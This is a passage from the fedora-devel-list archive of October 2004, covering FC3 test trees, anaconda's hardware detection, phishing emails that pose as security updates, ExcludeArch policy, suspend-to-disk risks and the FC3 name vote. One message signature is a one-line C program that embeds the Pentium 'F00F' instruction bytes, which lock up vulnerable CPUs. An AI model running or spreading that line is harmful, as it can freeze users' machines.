uptodate as well, is there actually a seperate test tree, where? And will this stay as "stable" as the current testing tree, it will it destabalise when FC4 starts development. IOW, I don't mind a little bleeding edge, FC3 test has been great, but I don't want the old rawhide days back, what tree should I point uptodate and yum at once FC3 is released? Regards, Hans -- EuropeSwPatentFree http://EuropeSwPatentFree.hispalinux.es From carwyn at carwyn.com Tue Oct 26 15:28:35 2004 From: carwyn at carwyn.com (Carwyn Edwards) Date: Tue, 26 Oct 2004 16:28:35 +0100 Subject: rawhide report: 20041026 changes In-Reply-To: <417E6AE0.6040503@hhs.nl> References: <200410261152.i9QBqiR28132@porkchop.devel.redhat.com> <20041026124038.GA26276@srv01.cluenet.de> <1098798496.10884.1.camel@bree.local.net> <417E5D14.8010904@carwyn.com> <417E6AE0.6040503@hhs.nl> Message-ID: <417E6D23.7070805@carwyn.com> Hans de Goede wrote: > I've been using rawhide to keep my FC3 test uptodate as well, is there > actually a seperate test tree, where? http://testing.fedora.redhat.com Carwyn From katzj at redhat.com Tue Oct 26 15:28:43 2004 From: katzj at redhat.com (Jeremy Katz) Date: Tue, 26 Oct 2004 11:28:43 -0400 Subject: What does anaconda know? In-Reply-To: <20041026165644.A32660@ryoko.camperquake.de> References: <20041026165644.A32660@ryoko.camperquake.de> Message-ID: <1098804523.10884.16.camel@bree.local.net> On Tue, 2004-10-26 at 16:56 +0200, Ralf Ertzinger wrote: > Does it known if the machine is a laptop or not? Maybe even a specific > model? Not generically. > The reason I am asking is that during the first boot on my iBook I noticed > that a number of services was started that were completely useless on this > machine, because the hardware these services care for is nonexistant (and, > this being a notebook, can not be added, either). > > The services I remember of the top of my head were pcmcia, apm and a bunch > of stuff provided by the iprtools package (some SCSI mumbo jumbo, it seems). > > Would it be possible to teach anaconda the knowledge to disable services on > machines that have no chance of needing them, ever? This is a never-ending battle. The proper place for such a determination is with the service itself. Whether or not it's chkconfig'd on or not by default in its %post can be keyed off of something and then it's _in the package_ and you then avoid anaconda having to learn about every new hardware specific "service" that people decide to add. Jeremy From ben.steeves at gmail.com Tue Oct 26 15:42:04 2004 From: ben.steeves at gmail.com (Ben Steeves) Date: Tue, 26 Oct 2004 12:42:04 -0300 Subject: Fake Emails about Emergency Security Update In-Reply-To: <1098797237.23707.8.camel@support02.civic.twp.ypsilanti.mi.us> References: <1098657317.25222.3.camel@localhost.localdomain> <7ebb24d1041024153630f9cead@mail.gmail.com> <1098724024.28467.0.camel@kyrre> <6314dfde04102511115151a5c0@mail.gmail.com> <1098729989.28467.6.camel@kyrre> <7ebb24d1041026051643b3be2e@mail.gmail.com> <1098797237.23707.8.camel@support02.civic.twp.ypsilanti.mi.us> Message-ID: <7ebb24d104102608421bdd2ed6@mail.gmail.com> On Tue, 26 Oct 2004 09:27:17 -0400, Sean Middleditch wrote: > On Tue, 2004-10-26 at 09:16 -0300, Ben Steeves wrote: > > On Mon, 25 Oct 2004 20:46:29 +0200, Kyrre Ness Sjobak > > wrote: > > > These frauds are damn impossible to protect against... > > > > Nonsense. Just don't give clueless users the ability to a) become > > super user, b) compile things, c) install things. > > > > And if your clueless user *is* your super user... well, then you have > > problems. :-) > > The problem is that, for home users, that is pretty much guaranteed to > be the case. Not necessarily. When I set up a system for a non-technical user who doesn't need root, I don't give them root. They can still do everything they need to do, without the risks associated with even having to understand how priviledge works. Even clued users shouldn't run things as the super user. Part of being clued is the understanding of why. -- Ben Steeves _ bcs at metacon.ca The ASCII ribbon campaign ( ) ben.steeves at gmail.com against HTML e-mail X GPG ID: 0xB3EBF1D9 http://www.metacon.ca/bcs / \ Yahoo Messenger: ben_steeves From jamesaharrisonuk at yahoo.co.uk Tue Oct 26 17:14:58 2004 From: jamesaharrisonuk at yahoo.co.uk (James Harrison) Date: Tue, 26 Oct 2004 10:14:58 -0700 (PDT) Subject: Fake Emails about Emergency Security Update In-Reply-To: <1098729989.28467.6.camel@kyrre> Message-ID: <20041026171458.98211.qmail@web25306.mail.ukl.yahoo.com> If you dont use the Redhat site and/or Redhat recommended mirrors to update your machine then there is a risk. Could up2date or yum check against a list of recommended sites stored at Redhat (downloaded when they are run each time) and a warning message appears if the update site URL is not a recommended one? James --- Kyrre Ness Sjobak wrote: > man, 25.10.2004 kl. 20.11 skrev William Hooper: > > On Mon, 25 Oct 2004 19:07:04 +0200, Kyrre Ness Sjobak > > wrote: > > > man, 25.10.2004 kl. 00.36 skrev Ben Steeves: > > > > On Mon, 25 Oct 2004 00:35:17 +0200, Sindre Pedersen Bjordal > > > > wrote: > > > > > http://www.fedoraforum.org/forum/showthread.php?p=119734#post119734 > > [snip] > > > > > > Just shows how important it is to have signed packages... > > > > If you are following random e-mails and installing packages outside of > > the normal yum/up2date channels, signed packaged don't do a bit of > > good. > > > > Come on, the frauds could have just as easily put instructions to > > install a GPG key as the first step and people that fall for it would > > be none the wiser. > > you are right. just put it in the script. > > These frauds are damn impossible to protect against... > > -- > fedora-devel-list mailing list > fedora-devel-list at redhat.com > http://www.redhat.com/mailman/listinfo/fedora-devel-list > __________________________________________________ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com From whooperhsd at gmail.com Tue Oct 26 17:21:29 2004 From: whooperhsd at gmail.com (William Hooper) Date: Tue, 26 Oct 2004 13:21:29 -0400 Subject: Fake Emails about Emergency Security Update In-Reply-To: <20041026171458.98211.qmail@web25306.mail.ukl.yahoo.com> References: <1098729989.28467.6.camel@kyrre> <20041026171458.98211.qmail@web25306.mail.ukl.yahoo.com> Message-ID: <6314dfde04102610217024bc0d@mail.gmail.com> On Tue, 26 Oct 2004 10:14:58 -0700 (PDT), James Harrison wrote: > > If you dont use the Redhat site and/or Redhat recommended mirrors to update > your machine then there is a risk. > > Could up2date or yum check against a list of recommended sites stored at > Redhat (downloaded when they are run each time) and a warning message appears > if the update site URL is not a recommended one? Why not just use the existing functionality of getting the list of mirrors and randomly selecting one? -- William Hooper From kyrre at solution-forge.net Tue Oct 26 17:23:16 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Tue, 26 Oct 2004 19:23:16 +0200 Subject: What does anaconda know? In-Reply-To: <1098803819.4782.46.camel@anu.eridu> References: <20041026165644.A32660@ryoko.camperquake.de> <1098803819.4782.46.camel@anu.eridu> Message-ID: <1098811396.3985.0.camel@kyrre> But shure (at least, generally speaking), it would not be to hard to get anaconda to *ask* whether the machine was a laptop or not? tir, 26.10.2004 kl. 17.16 skrev Paul Nasrat: > On Tue, 2004-10-26 at 16:56 +0200, Ralf Ertzinger wrote: > > > Surely it knows the general architecture (i386/ppc/sparc). It also > > knows the specific subarch (586/686). It knows about RAM and hard disks. > > > > Does it known if the machine is a laptop or not? Maybe even a specific > > model? > > We don't currently distinguish too much, we identify arch and on ppc > machine type (CHRP, PReP, etc). Certainly we don't really have seperate > classes for laptops/desktops, and certainly not for service/package > filtering on varying hardware setups. > > > The reason I am asking is that during the first boot on my iBook I noticed > > that a number of services was started that were completely useless on this > > machine, because the hardware these services care for is nonexistant (and, > > this being a notebook, can not be added, either). > > TiBook's have pcmcia so do G3 Lombards IIRC. You can also get USB to > pcmcia converters. > > > Would it be possible to teach anaconda the knowledge to disable services on > > machines that have no chance of needing them, ever? > > The correct place for this request would be in bugzilla as an RFE. > > Paul From fedora-devel at camperquake.de Tue Oct 26 17:29:13 2004 From: fedora-devel at camperquake.de (Ralf Ertzinger) Date: Tue, 26 Oct 2004 19:29:13 +0200 Subject: What does anaconda know? In-Reply-To: <1098803819.4782.46.camel@anu.eridu> References: <20041026165644.A32660@ryoko.camperquake.de> <1098803819.4782.46.camel@anu.eridu> Message-ID: <20041026192913.51512708@nausicaa.camperquake.de> Hi. Paul Nasrat wrote: > TiBook's have pcmcia so do G3 Lombards IIRC. You can also get USB to > pcmcia converters. Thus my question about the granularity. Would the yenta stuff be necessary for USB PCMCIA? -- He who lives by the sword, should go out and get himself a really nice sword. -- Lev L. Spiro From fedora-devel at camperquake.de Tue Oct 26 17:30:52 2004 From: fedora-devel at camperquake.de (Ralf Ertzinger) Date: Tue, 26 Oct 2004 19:30:52 +0200 Subject: What does anaconda know? In-Reply-To: <1098804523.10884.16.camel@bree.local.net> References: <20041026165644.A32660@ryoko.camperquake.de> <1098804523.10884.16.camel@bree.local.net> Message-ID: <20041026193052.1a9271d5@nausicaa.camperquake.de> Hi. Jeremy Katz wrote: > This is a never-ending battle. The proper place for such a > determination is with the service itself. Hmmm. On the other hand I do not like the idea to stuff the whole machine-type-detection logic into each and every package. -- main(){ __asm__(".byte 0xf0,0x0f,0xc7,0xc8"); } From sopwith at redhat.com Tue Oct 26 17:32:37 2004 From: sopwith at redhat.com (Elliot Lee) Date: Tue, 26 Oct 2004 13:32:37 -0400 (EDT) Subject: What does anaconda know? In-Reply-To: <1098811396.3985.0.camel@kyrre> References: <20041026165644.A32660@ryoko.camperquake.de> <1098803819.4782.46.camel@anu.eridu> <1098811396.3985.0.camel@kyrre> Message-ID: On Tue, 26 Oct 2004, Kyrre Ness Sjobak wrote: > But shure (at least, generally speaking), it would not be to hard to get > anaconda to *ask* whether the machine was a laptop or not? This has implications for automated installs (kickstarts)... -- Elliot From kyrre at solution-forge.net Tue Oct 26 17:31:10 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Tue, 26 Oct 2004 19:31:10 +0200 Subject: Fake Emails about Emergency Security Update In-Reply-To: <604aa791041026075951532f87@mail.gmail.com> References: <1098657317.25222.3.camel@localhost.localdomain> <7ebb24d1041024153630f9cead@mail.gmail.com> <1098724024.28467.0.camel@kyrre> <6314dfde04102511115151a5c0@mail.gmail.com> <1098729989.28467.6.camel@kyrre> <7ebb24d1041026051643b3be2e@mail.gmail.com> <1098797237.23707.8.camel@support02.civic.twp.ypsilanti.mi.us> <1098802002.2868.1.camel@kyrre> <604aa791041026075951532f87@mail.gmail.com> Message-ID: <1098811870.3985.8.camel@kyrre> Yes - not Linux knowledgable, that is right. but smart enough to have them not download random scam mail stuff... But if things came from fedora-anouce (or seemed like it), at least i would have been less suspicious. But then i would have downloaded it with apt (yes, it will be yum from FC3 on :? ) tir, 26.10.2004 kl. 16.59 skrev Jeff Spaleta: > On Tue, 26 Oct 2004 16:46:42 +0200, Kyrre Ness Sjobak > wrote: > > My point exactly. But today that is likely not a problem - most fedora > > users a so knowledgeable TODAY. > > HA! my random qoute generator from fedora-list would prove otherwise. > > -jef From dnjinc at wowway.com Tue Oct 26 17:35:07 2004 From: dnjinc at wowway.com (Demond James) Date: Tue, 26 Oct 2004 13:35:07 -0400 Subject: rawhide report: 20041026 changes In-Reply-To: <1098798496.10884.1.camel@bree.local.net> References: <200410261152.i9QBqiR28132@porkchop.devel.redhat.com> <20041026124038.GA26276@srv01.cluenet.de> <1098798496.10884.1.camel@bree.local.net> Message-ID: <417E8ACB.3000800@wowway.com> Jeremy Katz wrote: >On Tue, 2004-10-26 at 14:40 +0200, Daniel Roesen wrote: > > >>On Tue, Oct 26, 2004 at 07:52:44AM -0400, Build System wrote: >> >> >>>Updated Packages: >>> >>> >>Is this post-FC3 stuff or will (parts) appear in FC3 final? >> >> > >rawhide is still pointed at the FC3 trunk... although that will probably >change very soon > >Jeremy > > > Perhaps an updated fedora-releases package with updated *.repo and rhn/sources files should be released before the switch. That's if the switch will occur before FC3 final is released. -------------- next part -------------- An HTML attachment was scrubbed... URL: From jspaleta at gmail.com Tue Oct 26 17:36:24 2004 From: jspaleta at gmail.com (Jeff Spaleta) Date: Tue, 26 Oct 2004 13:36:24 -0400 Subject: What does anaconda know? In-Reply-To: <1098811396.3985.0.camel@kyrre> References: <20041026165644.A32660@ryoko.camperquake.de> <1098803819.4782.46.camel@anu.eridu> <1098811396.3985.0.camel@kyrre> Message-ID: <604aa79104102610362e1341cb@mail.gmail.com> On Tue, 26 Oct 2004 19:23:16 +0200, Kyrre Ness Sjobak wrote: > But shure (at least, generally speaking), it would not be to hard to get > anaconda to *ask* whether the machine was a laptop or not? to what benefit? its not like there is a "standard" laptop out there with "standard" hardware and "standard" features. If your going to ask questions, the need to be meaningful questions, and meaningful questions are very very hardware specific. And I see no reason to pollute the installer with layers and layers of interactivity just to prevent certain services from starting up on firstboot. Asking if it is or is not a laptop seems rather meaninglist to me. Hell they have make pccard to scsi adaptors so you can't for sure even assume someone's jacked up/hacked up dell laptop wont be trying to access a scsi device. -jef From jamesaharrisonuk at yahoo.co.uk Tue Oct 26 17:38:07 2004 From: jamesaharrisonuk at yahoo.co.uk (James Harrison) Date: Tue, 26 Oct 2004 10:38:07 -0700 (PDT) Subject: Fake Emails about Emergency Security Update In-Reply-To: <6314dfde04102610217024bc0d@mail.gmail.com> Message-ID: <20041026173807.41236.qmail@web25301.mail.ukl.yahoo.com> It would be great to have some kind of control. If I am sitting in San Jose, California, I done want my machine to choose a site in the UK (otherside of the world). Perhaps a list could appear when you do up2date --configure and you choose the sites you want to download from. James --- William Hooper wrote: > On Tue, 26 Oct 2004 10:14:58 -0700 (PDT), James Harrison > wrote: > > > > If you dont use the Redhat site and/or Redhat recommended mirrors to > update > > your machine then there is a risk. > > > > Could up2date or yum check against a list of recommended sites stored at > > Redhat (downloaded when they are run each time) and a warning message > appears > > if the update site URL is not a recommended one? > > Why not just use the existing functionality of getting the list of > mirrors and randomly selecting one? > > -- > William Hooper > > -- > fedora-devel-list mailing list > fedora-devel-list at redhat.com > http://www.redhat.com/mailman/listinfo/fedora-devel-list > __________________________________ Do you Yahoo!? Yahoo! Mail Address AutoComplete - You start. We finish. http://promotions.yahoo.com/new_mail From katzj at redhat.com Tue Oct 26 17:45:45 2004 From: katzj at redhat.com (Jeremy Katz) Date: Tue, 26 Oct 2004 13:45:45 -0400 Subject: What does anaconda know? In-Reply-To: <20041026193052.1a9271d5@nausicaa.camperquake.de> References: <20041026165644.A32660@ryoko.camperquake.de> <1098804523.10884.16.camel@bree.local.net> <20041026193052.1a9271d5@nausicaa.camperquake.de> Message-ID: <1098812745.10884.21.camel@bree.local.net> On Tue, 2004-10-26 at 19:30 +0200, Ralf Ertzinger wrote: > Jeremy Katz wrote: > > This is a never-ending battle. The proper place for such a > > determination is with the service itself. > > Hmmm. On the other hand I do not like the idea to stuff the > whole machine-type-detection logic into each and every package. Which is why you have a library (be it kudzu, hal, or whatever your hardware abstraction layer library of the week happens to be) and ensure that *it* can do the probing for you. Then you just have to have the package know what it cares about and see if there's any available. Jeremy From whooperhsd at gmail.com Tue Oct 26 17:49:46 2004 From: whooperhsd at gmail.com (William Hooper) Date: Tue, 26 Oct 2004 13:49:46 -0400 Subject: Fake Emails about Emergency Security Update In-Reply-To: <20041026173807.41236.qmail@web25301.mail.ukl.yahoo.com> References: <6314dfde04102610217024bc0d@mail.gmail.com> <20041026173807.41236.qmail@web25301.mail.ukl.yahoo.com> Message-ID: <6314dfde04102610497cc03916@mail.gmail.com> On Tue, 26 Oct 2004 10:38:07 -0700 (PDT), James Harrison wrote: > > It would be great to have some kind of control. > > If I am sitting in San Jose, California, I done want my machine to choose a > site in the UK (otherside of the world). > > Perhaps a list could appear when you do up2date --configure and you choose the > sites you want to download from. You already have that control. There are a number of lists at http://fedora.redhat.com/download/up2date-mirrors/ If none of those do what you want, read the documentation at /usr/share/doc/up2date-*/mirrors.txt about setting up a local file. -- William Hooper From roland at redhat.com Tue Oct 26 18:03:53 2004 From: roland at redhat.com (Roland McGrath) Date: Tue, 26 Oct 2004 11:03:53 -0700 Subject: Regina and THE In-Reply-To: Karsten Hopp's message of Tuesday, 26 October 2004 13:18:57 +0200 <20041026111857.GA6828@redhat.com> Message-ID: <200410261803.i9QI3r1Y027047@magilla.sf.frob.com> > THE is a text editor similar to xedit which runs on s390/s390x z/VM. If > you think vi's or emacs UI is cryptic, try out THE and you'll be happy > with vi (or emacs) again. We ship it as a convinience for the z/VM > administrators who are used to xedit, but you really don't want it if > you're not one of them. I'm not sure about Regina, is anyone really > interested in Rexx anymore ? It is a requirement for THE and quite > common on mainframes, but thats it. In the Linux world Perl and Python > are way more common, there's no need to learn another interpreter > language. I was once an XEDIT user (and a vi user), and liked it quite a lot (even when it was EXEC2, and the fun really started when Rexx came in). But that is not the reason that I don't buy this argument. ExclusiveArch/ExcludeArch should be reserved exclusively for the cases where a package will not build or the built package will not work. It's a "can't" marker, not "don't care to" marker. If most users have no interest in installing some packages, then don't have them installed by default. If the user interest differs by platform, then make the default package sets differ by platform. Thanks, Roland From dwmw2 at infradead.org Tue Oct 26 18:05:09 2004 From: dwmw2 at infradead.org (David Woodhouse) Date: Tue, 26 Oct 2004 19:05:09 +0100 Subject: warning to list In-Reply-To: <1098798336.23707.24.camel@support02.civic.twp.ypsilanti.mi.us> References: <1098672221.9279.1.camel@x1-6-00-0a-e6-c7-6f-d8> <1098745593.3872.176.camel@baythorne.infradead.org> <1098750960.30694.7.camel@stargrazer.home.awesomeplay.com> <200410260856.24591.symbiont@berlios.de> <1098752870.30694.12.camel@stargrazer.home.awesomeplay.com> <1098776924.3872.185.camel@baythorne.infradead.org> <1098798336.23707.24.camel@support02.civic.twp.ypsilanti.mi.us> Message-ID: <1098813908.13633.1761.camel@hades.cambridge.redhat.com> On Tue, 2004-10-26 at 09:45 -0400, Sean Middleditch wrote: > [This discussion should come off list. I'm not replying to any more of > these. spf-discuss is the correct place to have these discussions.] > > On Tue, 2004-10-26 at 08:48 +0100, David Woodhouse wrote: > > On Mon, 2004-10-25 at 21:07 -0400, Sean Middleditch wrote: > > > No. You fix them. > > > > Right. SPF, if it's to work, requires the whole world to 'upgrade' to > > make the initial flawed assumptions of SPF come true. > > Fortunately, SPF already works. I gave concrete examples showing that this statement is false. You elided them from your reply -- although amusingly you did include the words "you fix them" which you said earlier, at which time you apparently _were_ prepared to acknowledge that a vast number of mail servers out there in the real world are not operating in accordance with the flawed assumptions of SPF. But you're right. This discussion doesn't live on this list. If people want an education in how email actually works in the real world, and hence why SPF is broken, there are many alternative fora in which they can learn. Or they can try running their own mail servers for a few years and learn the fun way. -- dwmw2 From davej at redhat.com Tue Oct 26 18:10:22 2004 From: davej at redhat.com (Dave Jones) Date: Tue, 26 Oct 2004 14:10:22 -0400 Subject: latest rawhide kernel 2.6.9-1.640 and suspend to disk In-Reply-To: <417E39AB.6090706@redhat.com> References: <417E39AB.6090706@redhat.com> Message-ID: <20041026181022.GA21197@redhat.com> On Tue, Oct 26, 2004 at 01:48:59AM -1000, Warren Togami wrote: > >I just upgraded to latest rawhide kernel (the one which should be in FC3) > >and I noticed that suspend to disk is not compiled in (an echo 4 > > >/proc/acpi/sleep does nothing). > >Will we have suspend to disk compiled in the final FC3 kernel ? > > https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=104767 > No. It is too risky for now. Maybe we can take more risks for FC4. I > hope we do. My comments on swsusp are largely unprintable, but in short, this kind of risk (where end-users can lose data) isn't justifiable. Upstream, swsusp is still very much in flux, with a large out-of-tree patchset to 'improve' upon it. I'm not optimistic we'll see this working reliably any time soon. Read some of the comments from the upstream maintainer on linux-kernel. There are numerous cases of swsusp failing where the end-user has been given the brush-off "oh well, your hardware is crap". Comments about swsusp code quality aside, there also exists a larger problem -- lots of devices still don't handle wakeup from deepsleep state. The code just isn't written, and a lot of maintainers of various device drivers don't particularly care enough about suspend to make it work. Unless someone who does care submits patches, those drivers remain in the state they're in today. Still think this is something worth taking a risk for ? Dave From davej at redhat.com Tue Oct 26 18:26:50 2004 From: davej at redhat.com (Dave Jones) Date: Tue, 26 Oct 2004 14:26:50 -0400 Subject: What does anaconda know? In-Reply-To: <1098812745.10884.21.camel@bree.local.net> References: <20041026165644.A32660@ryoko.camperquake.de> <1098804523.10884.16.camel@bree.local.net> <20041026193052.1a9271d5@nausicaa.camperquake.de> <1098812745.10884.21.camel@bree.local.net> Message-ID: <20041026182650.GD21197@redhat.com> On Tue, Oct 26, 2004 at 01:45:45PM -0400, Jeremy Katz wrote: > On Tue, 2004-10-26 at 19:30 +0200, Ralf Ertzinger wrote: > > Jeremy Katz wrote: > > > This is a never-ending battle. The proper place for such a > > > determination is with the service itself. > > > > Hmmm. On the other hand I do not like the idea to stuff the > > whole machine-type-detection logic into each and every package. > > Which is why you have a library (be it kudzu, hal, or whatever your > hardware abstraction layer library of the week happens to be) and ensure > that *it* can do the probing for you. Then you just have to have the > package know what it cares about and see if there's any available. In the case of x86 laptops, a simple 'is_laptop' script could be hacked up pretty easily with dmidecode and grep. Dave From dwmw2 at infradead.org Tue Oct 26 18:36:09 2004 From: dwmw2 at infradead.org (David Woodhouse) Date: Tue, 26 Oct 2004 19:36:09 +0100 Subject: Regina and THE In-Reply-To: <200410261803.i9QI3r1Y027047@magilla.sf.frob.com> References: <200410261803.i9QI3r1Y027047@magilla.sf.frob.com> Message-ID: <1098815769.13633.1774.camel@hades.cambridge.redhat.com> On Tue, 2004-10-26 at 11:03 -0700, Roland McGrath wrote: > ExclusiveArch/ExcludeArch should be reserved exclusively for the cases > where a package will not build or the built package will not work. It's a > "can't" marker, not "don't care to" marker. Hmmm. If a particular arch is disabled for those reasons, there _really_ ought to be a bug opened for it. The only real excuse for a long-term Exclu{de,sive}Arch: is if the package just doesn't make _sense_ on other arches -- yaboot on i386, lilo on ppc, etc. People often turn off a package on some arch due to a temporary build failure, and then just leave it off for ages. I'd really like to see a policy of _having_ to have an open bug for such exclusions, in all cases except the true long-term reasons. -- dwmw2 From roland at redhat.com Tue Oct 26 18:53:26 2004 From: roland at redhat.com (Roland McGrath) Date: Tue, 26 Oct 2004 11:53:26 -0700 Subject: Regina and THE In-Reply-To: David Woodhouse's message of Tuesday, 26 October 2004 19:36:09 +0100 <1098815769.13633.1774.camel@hades.cambridge.redhat.com> Message-ID: <200410261853.i9QIrQZE027224@magilla.sf.frob.com> > People often turn off a package on some arch due to a temporary build > failure, and then just leave it off for ages. I'd really like to see a > policy of _having_ to have an open bug for such exclusions, in all cases > except the true long-term reasons. I agree. In fact, I'd go further and say every single use of ExcludeArch or ExclusiveArch ought to be associated with a bug # in bugzilla. If it's "it's yaboot, dummy" then that bug # can be CLOSED-WONTFIX from the start. I favor this because it makes it straightforward to have automated processes that troll the packages and complain about spec files that use these tags without having a bug associated in bugzilla. I think having a bugzilla report explaining why it was never a problem is preferable to putting magic exclusion lists into any such automated process. Thanks, Roland From dwmw2 at infradead.org Tue Oct 26 18:55:31 2004 From: dwmw2 at infradead.org (David Woodhouse) Date: Tue, 26 Oct 2004 19:55:31 +0100 Subject: Regina and THE In-Reply-To: <200410261853.i9QIrQZE027224@magilla.sf.frob.com> References: <200410261853.i9QIrQZE027224@magilla.sf.frob.com> Message-ID: <1098816931.13633.1776.camel@hades.cambridge.redhat.com> On Tue, 2004-10-26 at 11:53 -0700, Roland McGrath wrote: > > People often turn off a package on some arch due to a temporary build > > failure, and then just leave it off for ages. I'd really like to see a > > policy of _having_ to have an open bug for such exclusions, in all cases > > except the true long-term reasons. > > I agree. In fact, I'd go further and say every single use of ExcludeArch > or ExclusiveArch ought to be associated with a bug # in bugzilla. If it's > "it's yaboot, dummy" then that bug # can be CLOSED-WONTFIX from the start. > I favor this because it makes it straightforward to have automated > processes that troll the packages and complain about spec files that use > these tags without having a bug associated in bugzilla. I think having a > bugzilla report explaining why it was never a problem is preferable to > putting magic exclusion lists into any such automated process. Hmm yeah, I hadn't thought of that. That seems like a fine plan. -- dwmw2 From jspaleta at gmail.com Tue Oct 26 19:05:52 2004 From: jspaleta at gmail.com (Jeff Spaleta) Date: Tue, 26 Oct 2004 15:05:52 -0400 Subject: Regina and THE In-Reply-To: <20041026111857.GA6828@redhat.com> References: <417D30C1.8040600@wanadoo.es> <20041026111857.GA6828@redhat.com> Message-ID: <604aa791041026120545036c3d@mail.gmail.com> On Tue, 26 Oct 2004 13:18:57 +0200, Karsten Hopp wrote: > THE is a text editor similar to xedit which runs on s390/s390x z/VM. > If you think vi's or emacs UI is cryptic, try out THE and you'll be happy with > vi (or emacs) again. We ship it as a convinience for the z/VM administrators > who are used to xedit, but you really don't want it if you're not one of them. > I'm not sure about Regina, is anyone really interested in Rexx anymore ? > It is a requirement for THE and quite common on mainframes, but thats it. > In the Linux world Perl and Python are way more common, there's no need to > learn another interpreter language. Questions about the sanity of a user who likes using Rexx on x86 hardware aside for the moment. There are significant long term ramifications for community "Extras" when dealing with situations where "Core" package mantainers choose to not compile up an arch because it would be considered unnecessary bloat. This is going to greatly complicate how "Extras" and "Core" packagers have to interact without getting in the way of each other. I'd rather have to avoid any situation where a niche set of users have to compile up an arch specfic "Extras" for functionality they like solely because Core's package was delibrately built to exclude the arch without a specific technical reason. If it doesn't compile for the arch or if there is clearly an arch specific tool because of its low level hardware access nature like yaboot, thats different. Maybe once the centralized "Extras" walks out of the vapor, this issue will evaporate under the light of new policy and the workings of the centralized build system, but maybe it won't. In any case, avoiding situations where community will want to compile up Core packages for specific excluded arches would be one less core/community packager complexity. -jef From perbj at stanford.edu Tue Oct 26 20:56:37 2004 From: perbj at stanford.edu (Per Bjornsson) Date: Tue, 26 Oct 2004 13:56:37 -0700 Subject: latest rawhide kernel 2.6.9-1.640 and suspend to disk In-Reply-To: <20041026181022.GA21197@redhat.com> References: <417E39AB.6090706@redhat.com> <20041026181022.GA21197@redhat.com> Message-ID: <1098824196.2900.144.camel@localhost.localdomain> On Tue, 2004-10-26 at 11:10, Dave Jones wrote: > My comments on swsusp are largely unprintable, but in short, this > kind of risk (where end-users can lose data) isn't justifiable. > Upstream, swsusp is still very much in flux, with a large out-of-tree > patchset to 'improve' upon it. Is swsusp2 (I presume this is the "out-of-tree patchset" you mentioned) as ugly from a code point of view? I thought it might be a bit better. By the way, what is the data loss scenario - pretty much just that whatever wasn't saved is is lost if the computer doesn't wake up (basically the same as hitting the hard reset button at a random moment), or random wreckage all over the hard disk? That makes a huge difference! > I'm not optimistic we'll see this working reliably any time soon. > Read some of the comments from the upstream maintainer on linux-kernel. > There are numerous cases of swsusp failing where the end-user has > been given the brush-off "oh well, your hardware is crap". Yes, looking at LKML it sure looks like some of the people involved sadly don't really care about how safe it is, as long as it kind of works with some luck. My understanding was that Pat Mochel seemed to have a bit more of a grasp of the fundamentals involved, so I had some hope that the re-merge of swsusp and pmdisk would improve things a bit. That's not the case? > Comments about swsusp code quality aside, there also exists a larger > problem -- lots of devices still don't handle wakeup from deepsleep state. > The code just isn't written, and a lot of maintainers of various device > drivers don't particularly care enough about suspend to make it work. > Unless someone who does care submits patches, those drivers remain > in the state they're in today. Interesting; I thought that all the devices were actually turned off and the computer was completely booted from scratch with the current linux implementation of suspend-to-disk in any case. In that case, shouldn't all the devices just get initialized just as they would be in a regular boot sequence? On my dual-boot notebook I can run Windows, "hibernate" which is the Windows version of suspending to disk, turn it back on and boot into Linux, reboot and get back into the Windows session where I left off. That certainly indicates to me that at least the Windows suspend-to-disk state is in fact turned off, or at least the functional equivalent. I can't see how any state could be preserved across running another OS on the computer! If this is the case, isn't it actually S3 (suspend to RAM) that would be the more difficult state to get devices back from? Coming back from that state it seems like lots of devices are not reinitialized by the BIOS, while they should be on boot. Or rather, Linux must know what to do with these devices on boot since they normally work! > Still think this is something worth taking a risk for ? Well, I've had a system hosed (massive filesystem corruption, lots of critical binaries had just disappeared so the system wouldn't even boot any longer - I needed it back so I just reinstalled, didn't have time to investigate further unfortunately) when I tried to get suspend-to-RAM working a few months ago, so it seems that the Red Hat kernels already do some things sleeping-wise that can be construed to be risky. Is non-functional suspend-to-disk more likely to corrupt data than non-functional suspend-to-RAM (which is to a great extent what we have now)? I guess the judgment call is yours to make, but I wouldn't be totally averse to seeing this turned on if the risk level is similar to that involved in S3 suspend. If S3 suspend actually worked and was less risky, I wouldn't care particularly about S4/suspend to disk; however, I've certainly seen the sentiment that S3 is actually harder to do right (in terms of device initialization etc) than S4 so reliable S3 is unlikely to ever happen on a lot of hardware... Do you believe that reliable S3 suspend has a greater likelyhood of happening than reliable suspend-to-disk? (My problem seems similar to https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=122604 although I have a Fujitsu S2020, I'll try to investigate more when I have time to deal with potential file system corruption again. Of course, that report doesn't imply file system corruption; it might have been that I forgot to fsck between failed attempts though - but I am using ext3 so I thought journaling should help me a bit. I only saw it once though, I got too scared to continue after that.) /Per -- Per Bjornsson Ph.D. Candidate, Department of Applied Physics, Stanford University From sopwith at redhat.com Tue Oct 26 21:32:18 2004 From: sopwith at redhat.com (Elliot Lee) Date: Tue, 26 Oct 2004 17:32:18 -0400 (EDT) Subject: Fedora Core 3's name - your vote Message-ID: It's time for the only really critical decision of the entire release: THE NAME. ;-) The candidates for your consideration: Krosno Heidelberg Uzhgorod Please send an e-mail to me by Thursday Oct. 27, highlighting your vote. -- Elliot P.S. There are lots of great possibilities for names, We only can use one in the end, and a good deal of time has already been spent in the Name Narrowing-Down Process, so unfortunately the choice does have to be limited to these three. Thanks for understanding... From gilles.fabio at laposte.net Tue Oct 26 21:38:43 2004 From: gilles.fabio at laposte.net (Gilles Fabio) Date: Tue, 26 Oct 2004 23:38:43 +0200 Subject: Fedora Core 3's name - your vote In-Reply-To: References: Message-ID: <1098826723.3944.120.camel@localhost.localdomain> Hi Elliot ! > It's time for the only really critical decision of the entire release: THE > NAME. ;-) > > The candidates for your consideration: > Krosno > Heidelberg > Uzhgorod :-) I like "Krosno" ! I vote for it. Regards, Gilles From alan at redhat.com Tue Oct 26 21:39:47 2004 From: alan at redhat.com (Alan Cox) Date: Tue, 26 Oct 2004 17:39:47 -0400 Subject: Fedora Core 3's name - your vote In-Reply-To: References: Message-ID: <20041026213947.GA14932@devserv.devel.redhat.com> On Tue, Oct 26, 2004 at 05:32:18PM -0400, Elliot Lee wrote: > Heidelberg Seems ideal to me. Its amongst other things the location of the first Linux conference, and not in America ;) From skvidal at phy.duke.edu 